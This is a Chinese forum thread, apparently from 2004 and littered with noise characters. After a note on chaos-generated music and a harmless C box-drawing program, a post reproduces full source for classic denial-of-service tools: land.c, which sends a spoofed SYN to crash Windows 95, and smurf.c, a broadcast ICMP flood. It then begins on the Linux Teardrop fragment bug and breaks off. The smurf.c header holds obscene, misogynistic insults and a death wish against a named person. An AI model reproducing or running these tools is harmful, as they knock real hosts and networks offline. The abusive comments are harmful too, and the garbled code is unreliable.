  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。9 D" Z2 e- H# b# w4 |. f6 h
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
+ C8 U/ x' R$ b/ ~; @) a- `$ _4 T<FONT color=#009900>/*9 M. [" M) b; Q! F  y/ X0 c6 k
*1 ~' `! {! A8 x5 S$ _) i
* Short driver module- {1 g% d) W+ z" l8 \& E
*2 |& a5 h1 Q. z+ U
*/</FONT></P><><FONT color=#009900>main()# T3 n7 ]( F9 j4 U2 H; G; o$ L$ E# S' g
{# U% ^7 [; m# Z& K& `: b
clrscr();/ a) @. j( i( T  G. w
box(1,1,23,79);
$ a% d3 i" \6 \" vbox(2,2,21,77);3 r' p' `* I" z1 p- a3 z
box(3,3,19,75);. w; h$ P/ q9 x4 H2 f  O
box(4,4,17,73);
: }6 p3 ?) r1 C! C% l1 F2 H. @box(5,5,15,71);
7 ~5 C$ O# c$ m' s$ N' g4 [box(6,6,13,69);/ W' W/ E% q* M" m
box(7,7,11,67);
) Z" {& Z8 Q& ]6 H7 H" rbox(8,8,9,65);
9 B9 P' q. l3 d& I% F4 ibox(9,9,7,63);
* ^  L! n% P, r  s6 cbox(10,10,5,61);, G0 @0 @8 c+ r8 L3 _# f
box(11,11,3,59);
8 M, V6 W9 h6 Y* x2 cbox(12,12,1,57);
/ w! |6 D4 K0 B* h$ U. J- O  qposcur(24,1);8 {! n6 f4 v, Z# I' A
}</FONT></P><><FONT color=#009900>/************************************************************3 n$ C9 S1 Q# @
* BOX *4 f. o4 o! `8 K. K. Z# i
*----------------------------------------------------------*6 l. X" X1 W4 E1 C5 f1 C, q# Z
* Written by: Jeff Ebert 7/01/87 *, ?2 M% _# g7 ?! j
* Modified by: xxxxxxxxxx *) ?4 h2 W3 F( r; _' l1 E$ Q% z
* *
$ j" J5 k6 r2 K$ [* Please modify me! *- f! ?  h" O+ Q3 T) T
* Possible Enhancements include but are not limited t *. a" T) w+ ?1 S, P! Y# Y
* 1) Variable box character styles [1 line or 2] *2 `$ d+ t' t' `. b- ^* \
* 2) Error checking *6 c) [; Q2 J) w! ?8 g7 M: A
* 3) Color options *
, h; Y$ o1 m" l. \4 H- e- X, u* *
( c: j$ {/ Q4 D0 W( M, f* *
; E/ m5 C. V. F" y3 R5 l" i' L* This function builds a simple double frame for a menu. *0 I2 Q+ k. @( E
* The function is passed the parameters for the upper *, [; `( L4 ^( k; Y& V3 ~
* left corner row, upper left corner column the height *
' {  B0 O: K4 E8 F+ B) W* of the frame and the width. *& c* l  }  w4 w6 [/ T$ N, D* ]
* *
! j* e1 q$ x7 i4 \) {************************************************************/
% l5 m! J2 ~( [5 P3 G2 G#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
3 s) \+ ]% H* P- u* I( v#define URCOR 1875 g# f( a8 g/ p  K4 D
#define LLCOR 200
4 a' E0 s" W: i#define LRCOR 188
6 T# z. i& O$ z6 }% [#define VBAR 186
4 m% E- N  ?1 z8 W: b. z0 z) K#define HBAR 205
8 U! m) [: x% ^( m6 R/ C#define ESC 27</FONT></P><><FONT color=#009900>
. O" c; k& }8 j0 {2 cbox(row, col, hgt, wdth)
, w; j' f  R' t- u+ z3 W& Y) R$ f9 Eint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{# J8 _+ H' w$ U; Q, _
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);0 G6 a6 h+ |& f
putchar(ULCOR);
5 R) O2 h$ ?4 H3 b6 rfor(x = col + 1; x &lt;=(col + wdth -1); x++)5 S3 K6 ^0 F; j* j+ G' a& D
putchar(HBAR);
3 R7 H" `  y- T$ S# F$ l9 Xputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){, J5 V, r5 b' g1 L  i4 O$ l* v
poscur(x,col);
# C# Q$ n% A6 Q2 d$ Eputchar(VBAR);
( [" ]2 n7 O# E5 C4 |8 aposcur(x,col+wdth);1 ^" i% X( G+ a
putchar(VBAR);
/ Q& Y$ S3 W* f" E8 R6 a}. F( s) N% ?0 K1 @* }9 |/ f' f) Z
poscur(x,col);7 }7 ?/ w! B0 @  O) J$ ~: L
putchar(LLCOR);
* A9 h+ q7 s: Q! j) xfor(x= col + 1; x &lt;=(col + wdth -1); x++)
7 p6 _& g  p0 h3 g6 zputchar(HBAR);) h- \. z& B5 x- H3 `/ @
putchar(LRCOR);
$ H/ ^9 p( k1 ?+ t}</FONT></P><><FONT color=#009900>/********************************************************# ~+ @4 C0 Z* K% ~
* POSCUR *
& G  s" t, Z# x; Z' u*------------------------------------------------------*$ B5 ?1 _: g' M# J: k  s; B
* This function positions the cursor at the specified *
; q9 T5 C* u  }: U2 v: q2 L: B' v/ J* x,y coordinate. It uses the ANSI standard ESCAPE *
1 ~8 f& }5 [+ v6 r; ]9 q/ @* sequence to produce the desired effect. Its not the *
/ R& u! t* {6 E. W# L* fastest way to position the cursor, but perhaps the *
; n+ p) ]. @& ?. F- ]* most portable. *
; `' n* f; f/ A! z' J- q$ t) s$ T* *% J5 _& ^8 f' \4 j* B+ }: n4 t# h
********************************************************/
' W6 y0 a  ], ?4 \) e1 `poscur(xcor,ycor)
& H7 R" c1 [/ A# H! w/ vint xcor,ycor;
/ x8 s5 h" T1 q! b& g: m" A; \{ $ B0 {+ y# @+ _6 S4 N& N* N
printf("%c[%d;%dH",ESC,xcor,ycor);
% U3 u7 X3 a+ a( Z}</FONT></P><><FONT color=#009900>
7 e6 e3 {" c- C9 V" N9 B/********************************************************" f& N* V+ o5 a" E
* CLRSCR *5 s8 X! D6 M& D. I
*------------------------------------------------------*
" x3 u) v% {* z# d$ ^2 t- t* This function positions the cursor at the specified *0 d, W& g/ U" Y& `" ~- ?
* x,y coordinate. It uses the ANSI standard ESCAPE *3 H+ z! q4 ?) ^, A9 R7 u
* sequence to produce the desired effect. Its not the *- {( w  H" i& _7 b% M
* fastest way to position the cursor, but perhaps the *# ]$ ^  b! C7 o0 f: F( Z
* most portable. *' f* X& E3 w- f, L
* *& G# T+ _  |2 G  L1 @
********************************************************/6 b% p, L% i5 v& \3 d$ j4 s
clrscr()
8 m3 t$ O0 _9 `+ q: D; K{ 0 F* P. T7 T0 l6 ]- I, H
printf("%c[2J",ESC);' S2 N( d4 \: q) Y+ C% S
}</FONT>) R! c! o9 R! J
</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract# s/ }- x* X1 U/ t
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自- |! g. _& _3 M4 f5 _
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
4 G3 M/ ]. a! |' ]4 ~<FONT color=#009900>/* land.c by m3lt, FLC+ K: z4 @, R1 T( T
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>: Z* ~( G, q4 ^/ m/ ?
#include <NETDB.H>1 Y4 |+ j* T. U6 @% l7 v
#include <ARPA inet.h>( E0 o6 e- P" M# ^
#include <NETINET in.h>
- ?6 a* G# \1 X5 w% N  h, o#include <SYS types.h>
! v6 u% b# i1 L9 p, w; V6 g1 B#include <SYS socket.h># R9 g" l7 T% d7 ^1 b: t* T
#include <NETINET ip.h>
) K4 d3 H  [8 f) S: v#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头4 n& V& g/ s" }4 ?0 y1 A
struct pseudohdr, f) d. m1 @5 M( R0 J
{4 h, T7 W/ X5 I) k7 f
struct in_addr saddr;
6 g* q' g% M0 H# z" Astruct in_addr daddr;
! _& s9 f* A' _( G4 Iu_char zero;
( u* B7 p% h, n) |0 X# d; cu_char protocol;
& z9 |' P* l; uu_short length;
3 B9 O0 w3 L( ?2 t  hstruct tcphdr tcpheader;9 Y) m( A8 g' p$ G& Y, K
};</FONT></P><><FONT color=#009900>//计算IP校验和1 Y9 W6 q! a- z* A2 w0 j5 _
u_short checksum(u_short * data,u_short length)& [/ P+ p- ?9 O' n3 I* A5 I3 u
{
7 ?/ B( ~8 U- ^/ z, q# r9 [/ A7 rregister long value;& R) ~; p& v; e- o. f. S. Y
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
9 M( t* p, I% Y4 ?: M2 gvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
9 F# R, Y: F- p9 e. \% Hvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
1 S' |3 A3 F" Z! m}</FONT></P><><FONT color=#009900>6 ^5 ?- u4 J5 v" I& e. u
int main(int argc,char * * argv)
" I4 N- Y/ D- q- Q{
. w3 G3 D- `: d9 P( U' c/ i: Dstruct sockaddr_in sin;. B, v( N2 {% x) ]& s
struct hostent * hoste;
- f- h2 a' v% O9 l! Q9 Q, @# M; T$ Wint sock;
" |" X0 ?8 Z. X4 ^8 k/ |8 ychar buffer[40];6 l2 \6 b% b( v1 X
struct iphdr * ipheader=(struct iphdr *) buffer;
& ]1 U0 z: E9 D0 r, n' V; ?struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
: S) @+ O7 X# x* }8 Z1 B  Cstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
* k/ d- y8 Y$ J" J7 K9 x{
1 {( O6 z* B1 R0 Dfprintf(stderr,"usage: %s IP port\n",argv[0]);6 s  A2 {5 U" s9 w8 g  `
return(-1);. {+ T: e+ F2 O! P; w
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));7 E- }5 A4 m$ o7 X6 N# }& G& u( X9 S
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)5 a) w: ]! J- i9 K& d9 O6 }5 X
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
/ v5 i# M, g" P; felse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)7 D# Y/ q. g6 M& q
{1 m/ z% b2 W& N5 S1 M
fprintf(stderr,"unknown host %s\n",argv[1]);" ^' X( s% [+ U- C+ Y: k
return(-1);
6 P2 l% P1 K0 Q! G% _}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)4 P9 R; N9 B# A& i+ ?) k
{) {+ I6 J$ B9 o+ D( P( x5 \
fprintf(stderr,"unknown port %s\n",argv[2]);
6 s, ?1 n: L" ?. b( I7 M% E+ c  Hreturn(-1);9 ~# e3 Y- y3 V3 G/ Y* V# u
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
) q6 K6 y& K/ W: q& h2 m5 s  |if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
; C- P- D. k7 R5 C{
) f6 V  t- S6 J- T8 j. C( rfprintf(stderr,"couldn't allocate raw socket\n");/ S' i: K- y8 q
return(-1);
( A: I. H3 e' J* I1 z% j. M}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));% {- r2 m) c. W6 \
ipheader-&gt;version=4;
: Q. r$ i  a, l+ R8 L, o1 w+ c2 vipheader-&gt;ihl=sizeof(struct iphdr)/4;6 N: z& o# {7 g1 }# O; k2 x, Q
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));$ o, Q9 {- m3 o7 m
ipheader-&gt;id=htons(0xF1C);
0 A0 k- F! s3 a# ~$ Eipheader-&gt;ttl=255;
7 U0 J) W7 c7 t/ ]ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
4 a3 X* O* w3 B8 |6 g% fipheader-&gt;saddr=sin.sin_addr.s_addr;
9 ^# G% M. N9 f# X, P+ Cipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
6 U+ i( ]' Y( [8 C& t  ctcpheader-&gt;th_sport=sin.sin_port;! B- o$ R: |4 {0 i: b5 B
tcpheader-&gt;th_dport=sin.sin_port;) e% M) `  w4 v
tcpheader-&gt;th_seq=htonl(0xF1C);
: H9 {" }! q  ztcpheader-&gt;th_flags=TH_SYN;# P3 a# _. U# h
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
% x9 {/ n6 V8 p# B0 ]/ Q9 p. \tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
8 Z. x# h4 g8 s8 P: b3 qpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
9 I, ]( T  Y1 _pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;4 f: m" d( }/ W" W
pseudoheader.protocol=6;
% k/ b; z) ?6 l5 J1 l% S. Apseudoheader.length=htons(sizeof(struct tcphdr));! k0 J- D, I2 V5 t3 L
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
* x' ^+ r. m' V* `tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
* x2 d! H7 l' m+ q0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1): W4 |8 K1 j7 k6 P- [$ x
{
$ c  S9 {+ l6 x: ^( Q& ~fprintf(stderr,"couldn't send packet\n");
" I' i+ T5 g3 areturn(-1);
0 u$ {9 t7 t. X* z0 i+ S}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);+ v% j0 u% C, B* ?3 n0 v' x- P. v* m
return(0);
9 m6 g9 r! \. l- n- }7 K}</FONT></P><>
, h& G. {3 n* t7 y* i4 k) ^2 Smurf! M9 S3 a; `  |
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数" Y- G  v/ }) D3 S3 E  |5 `
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包( D( R# ~5 u- v  g# j
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
1 {% M7 B$ k. R3 K9 r1 Aicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
7 _- h: `# w5 A1 N3 f" Z" r- a(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变7 H: X: z  M  r9 h$ ?2 U- W
成不可能(没有WINS服务器时)。</P><P>/*8 E! o; X- K8 n, i0 k1 x2 G+ F' t
*: k0 h- W5 s3 B
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
. M& D4 j# Z+ f% o  g*3 n# c0 _  c$ K  h( J5 _0 g$ W3 S
* spoofs icmp packets from a host to various broadcast addresses resulting/ F8 {9 a( V* `1 p+ o/ p
* in multiple replies to that host from a single packet.+ z$ n3 m+ H7 D+ e
*
  q5 X% w$ C0 d1 j3 F* mad head t% o  Z# E5 E9 }& ~/ s4 g
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,2 T' [7 u1 G" H. Z) G  Q8 E) L* V
* MissSatan for swallowing, napster for pimping my sister, the guy that. U) w& b% g% O8 J7 R& p
* invented vaseline, fyber for trying, knowy, old school #havok, kain1 I; X- G8 n" r
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
- H6 p  c) a. ~$ M. l2 d* have missed (you know who you are).
/ D, Q" f# z0 |8 W*$ T0 V) L+ c5 R: z1 w8 E  T
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy8 ^! R1 J2 t+ ^7 @
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
, e$ z& B# ?. k! ~9 ?, w- f* half the cheque).
* V  b/ Z; d) F+ c  n& Y+ s*
1 b8 s' o; |' A4 X% E5 i) F* and a special hi to Todd, face it dude, you're fucking awesome.
+ e5 p2 N3 U* R*
. W" q  H& p  Y, }. L* mad anal t5 X6 O( m$ M- `, a9 ]
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
7 ?* M6 I7 z/ b9 V* because they plain suck, Rolex for being a twit, everyone that
8 `, @$ l5 |/ j  r* X, {* trades warez, Caren for being a lesbian hoe, AcidKill for being her3 v/ h' N5 z" m& @% `9 o2 t# S
* partner, #cha0s, sedriss for having an ego in inverse proportion to8 w' c  n" E8 ?  e; d( l
* his penis and anyone that can't pee standing up -- you don't know what
1 {! u- w+ x' c( K3 G  j* your missing out on.
5 Y. h3 H0 _# O*
$ X& j/ {8 l5 \' P" r* and anyone thats ripped my code (diff smurf.c axcast.c is rather/ q6 v$ R* V7 k& H- o
* interesting).
# g/ ]" W- s0 ?*+ i$ m/ q* H0 a* P) B
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill2 V9 `/ y9 f" t0 i# k8 v
* Robbins for trying to steal my girlfriend. Not only did you show me, h+ [, H" C/ x% p) I6 Z0 t
* no respect but you're a manipulating prick who tried to take away the
* n5 S5 Y- y6 o2 K" _0 ?! |* most important thing in the world to me with no guilt whatsoever, and* b0 I# e) J2 F. B8 V
* for that I wish you nothing but pain. Die.  S+ ]  c1 I* ]6 B% _2 W
*$ o- u. _0 M! S4 a" F
* disclaimer:
# x8 z6 C. J0 D: z( ?* x# J* I cannot and will not be held responsible nor legally bound for the
# L+ c! y  o' y& s* malicious activities of individuals who come into possession of this
$ A/ H* s0 }/ G$ d# e" r6 |* program and I refuse to provide help or support of any kind and do NOT
: C& X& i9 \$ }' J- R* condone use of this program to deny service to anyone or any machine.4 \9 n- u5 T* }7 n( [" m: a9 F
* This is for educational use only. Please Don't abuse this.
; t& U/ ~2 d2 B9 B% ]; {*7 L' g6 |' U# z& w& P6 ?
* Well, i really, really, hate this code, but yet here I am creating another* M4 z. {! A( p' e. C
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
0 ?- m4 r, {8 k% r- U4 ?: ^* m* like most programmers don't like seeing bugs in their code. I saw a few
/ k; i! W! m; c+ d* things that should have been done better or needed fixing so I fixed
$ o/ O; p$ L) g9 s7 \; j0 e. l9 ?* them. -shrug-, programming for me as always seemed to take the pain away. k% z+ q+ {8 h* G/ h  y! M' r
* ...  D* ^% X( u2 j  o, H+ [  [
*
/ D9 x7 ?# k" k9 p*
% E& ^% A, U/ C4 y9 [! A2 j+ E*/</P><P>#include <SIGNAL.H>
9 ~! ~$ N: {* x5 h4 g#include <STDIO.H>
  _  N; x" ]0 P+ z, o6 z#include <STDLIB.H>+ R/ M" ^+ E: R  B, X
#include <SYS socket.h>3 d: |2 x' r3 d8 }4 \+ i( m
#include <SYS types.h>
9 H5 ]+ r+ t# O$ i#include <NETINET in.h>
8 X- i( z+ n- a#include <NETINET ip.h>
. \- E: M; [# s2 p. q#include <NETINET ip_icmp.h>
1 Q! N8 o( q1 o: c#include <NETDB.H>4 A: O9 U5 t+ Y) d
#include <CTYPE.H>5 W; V+ @0 D8 l. Z
#include <ARPA inet.h>
  {, q% ?7 n2 N# i#include <UNISTD.H>$ a$ T+ x. z1 k6 P+ c5 ^# p8 }
#include <STRING.H></P><P>void banner(void);4 g/ K  J" c6 X# W
void usage(char *);$ q2 B  i. ]1 l, ~2 G
void smurf(int, struct sockaddr_in, u_long, int);
1 G* h. M' \2 b" ^5 Cvoid ctrlc(int);
5 I0 S/ v( [: f+ `" {unsigned short in_chksum(u_short *, int);</P><P>/* stamp */9 S+ m0 \9 E/ X8 w- x
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])! J) k1 ?, I# k" [- ]
{2 y$ R7 P8 I: ?+ m$ c6 ^/ s; J
struct sockaddr_in sin;% r7 |( h8 z9 c! j4 r/ `. Y$ i
struct hostent *he;
* k7 d3 q; Q4 A! _8 SFILE *bcastfile;
; \5 F  s0 }1 |int i, sock, bcast, delay, num, pktsize, cycle = 0, x;+ T- a' v/ w# @% _0 A9 P% m
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
& d, |* r) P" csignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
4 K" J4 }. M% R' \! Mperror("resolving source host");9 D7 [$ {" T9 I$ ], e
exit(-1);" U" Q8 ^7 g/ r% t  N
}
! O( E9 }  j0 n0 Smemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
1 h+ Q6 {8 S& P; Z7 hsin.sin_family = AF_INET;, j% `$ ]3 x& N- K  u( Y
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);: g9 m+ L/ }+ C# q2 V- P# G
delay = atoi(argv[4]);
( \6 z2 I% S, L  r) l( z* Tpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
# ^- j1 @9 E( W$ t2 }perror("opening bcast file");
3 H/ k7 H! z, {7 A  Cexit(-1);
4 J9 {' r  e" h. y1 q}
: |' \0 h& T8 i6 d7 m7 `. w4 Mx = 0;0 h" n3 }: T$ o0 b& X) ~
while (!feof(bcastfile)) {
( Y5 Y/ P' B% ]: H! Ffgets(buf, 32, bcastfile);6 b" g, h. G. S; Z$ I$ a
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
* {9 U7 [) K. }* e7 N! cfor (i = 0; i &lt; strlen(buf); i++)
3 r8 V8 h) T" ^4 S* g! B# Eif (buf == '\n') buf = '\0';
8 `5 d! v! B+ S# ]- B6 C+ B. obcastaddr[x] = malloc(32);
5 y* E1 j) o* |! V  w% Jstrcpy(bcastaddr[x], buf);$ d& g; A1 ?3 f" y- p6 x
x++;% g' h6 a! K& w9 t  P, w9 m
}9 t: d( a0 k* N' L
bcastaddr[x] = 0x0;
& u& l2 L, `9 u  @" Nfclose(bcastfile);</P><P>if (x == 0) {
) k0 W' ~  D( k: \- Vfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
" ^* U" E/ }6 _3 @1 W  jexit(-1);0 V8 j1 s9 K3 n6 f5 l3 z
}
5 q; `2 s) o4 D5 j. ~9 Tif (pktsize &gt; 1024) {
) D5 `# s% q5 I) \fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");. \" q- [2 F1 M8 y+ B7 {& r6 v
exit(-1);9 D' g) e  w6 }8 K- V9 M7 W
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {( }0 R, A; x) I2 `3 x! i* n
perror("getting socket");
* R. T4 l  t1 s( {exit(-1);* m6 ~  F( D3 [% t9 {
}
- [& D6 _1 z1 o* Csetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
* _1 c( s8 n& J4 @/ Tif (!(i % 25)) { printf("."); fflush(stdout); }
- N5 F3 C! j" @3 R- msmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);5 E9 U- B5 ^& @6 s
cycle++;' k/ A8 h3 u8 u6 F5 U7 y6 u/ r
if (bcastaddr[cycle] == 0x0) cycle = 0;
: H/ e3 T! l' d  M. j7 g5 ausleep(delay);
# Y+ f" u: }" V" p7 ~}* h0 r; @, V* s5 T% A2 H( _" g
puts("\n\n");
; b6 G5 S9 a( ]5 n3 g. sreturn 0;4 s( |" m+ g! G) |, c
}</P><P>void banner (void)
3 d- a% {) }1 s& N* C{
* p1 U- m& D0 Q! Hputs("\nsmurf.c v4.0 by TFreak\n");
( O2 ~" \, K& |7 [! ]- U}</P><P>void usage (char *prog)
7 Q; O; _- x* _% K* @1 H{
5 B* o) f& @1 `( I5 k; L3 vfprintf(stderr, "usage: %s <TARGET><BCAST file>"
. V, i9 z& O  a3 s2 |"<NUM packets> <PACKET delay><PACKET size>\n\n"
- B3 S! v  i- G" u8 b  C4 N"target = address to hit\n"
3 v. _# R% g. ~: @0 r. W"bcast file = file to read broadcast addresses from\n"% v& Z8 ], \! P0 ]
"num packets = number of packets to send (0 = flood)\n"- N) x5 B# Q5 ~1 K, d9 p( U; i  q
"packet delay = wait between each packet (in ms)\n"( u# L4 {' }' V
"packet size = size of packet (&lt; 1024)\n\n", prog);
2 c' S8 y1 I0 fexit(-1);
  ?8 W/ R' Q0 U8 Q- v' ]}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)1 P0 x7 S% G: q( K7 R' c
{+ q8 N' K: q8 I
struct iphdr *ip;
1 c- ^/ g: X& z+ K8 v+ wstruct icmphdr *icmp;
* t; h- H0 F2 tchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
" a* e: `5 z; o- o$ P( f& Wip = (struct iphdr *)packet;
7 [9 p% l0 C& ^) jicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
# Z) B! M" L: m& t8 Jip-&gt;ihl = 5;
7 d- O8 A+ K8 w! r) F3 Rip-&gt;version = 4;
- c( O& P4 s: k; K0 {; Zip-&gt;ttl = 255;( i6 u7 ], R, f5 G
ip-&gt;tos = 0;: T% [  ?( d8 D6 q/ w0 e, D9 D
ip-&gt;frag_off = 0;" E% u3 {8 s4 |3 @  g) c
ip-&gt;protocol = IPPROTO_ICMP;2 e- p' z% y# N* N
ip-&gt;saddr = sin.sin_addr.s_addr;
7 u2 Y6 t/ i+ N3 G/ @( u2 Qip-&gt;daddr = dest;
$ r/ K$ p' Q/ |2 ]: s2 Nip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
2 S2 r: I; b( {: i/ v& cicmp-&gt;type = 8;" z# C+ C9 j2 `8 {
icmp-&gt;code = 0;
( N" c0 c8 Q9 Iicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,: U6 I0 v' h0 {3 z
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */) `* D! D. x" t. l, ^& O. m+ M" z9 v
}</P><P>void ctrlc (int ignored)
) A: O+ G: p. t" I' Y; M) E( J{- [% f9 K& K5 N; o# g! o+ b
puts("\nDone!\n");$ [+ P, E' B' Z3 F# t  e5 }" g
exit(1);
2 N* x) V* ?$ H- {% \+ h}</P><P>unsigned short in_chksum (u_short *addr, int len)( x1 v2 N5 @9 x# F$ F; U4 Z; q0 _
{
  D- {; K* Y. \- Y7 S  aregister int nleft = len;
! {. @* ]/ O1 [8 f$ S. Kregister int sum = 0;
' q9 B  D4 f# p) h) y& H3 Fu_short answer = 0;</P><P>while (nleft &gt; 1) {- D, Z% I7 o1 b: H% d! j
sum += *addr++;
9 w# Z: T$ g0 H1 @& Vnleft -= 2;- s2 N# j# f9 b$ d6 e$ F
}</P><P>if (nleft == 1) {
2 C  T7 f0 s0 v  z*(u_char *)(&amp;answer) = *(u_char *)addr;' a  y" _3 W& U
sum += answer;# w% n1 \0 r, F: f$ X
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);8 g) e& E. H" R
sum += (sum &gt;&gt; 16);
, y5 k9 O- E1 canswer = ~sum;
6 l/ @( A$ K9 k$ ]return(answer);
) x0 w( i8 f. p, v}</P><P>/ X+ b4 j, t0 G: D- C1 |, A
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:( w; I* c, {  j) O
fp = qp-&gt;fragments;7 f8 _6 s' E" i1 P6 D( G% I
while(fp != NULL)6 a5 C" ?1 d2 a: j
{
2 ~5 q/ I& K! [6 M2 v+ Cif(count+fp-&gt;len &gt; skb-&gt;len)# ^, b% G' F3 K. M
{
* E, U/ s- _; h& F: i2 D1 H) Yerror_to_big;
0 [% W7 I" x( f4 ~' E) ~* b}" K+ E" b) f2 ^5 P; D
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
8 u# l, T8 Q" N/ N; I! qcount += fp-&gt;len;+ Z0 \: O( R; L( i- p, N& l
fp = fp-&gt;next;
( Q( Q9 j" P" b}, u2 {# I8 ^6 @$ ^' t4 b! O
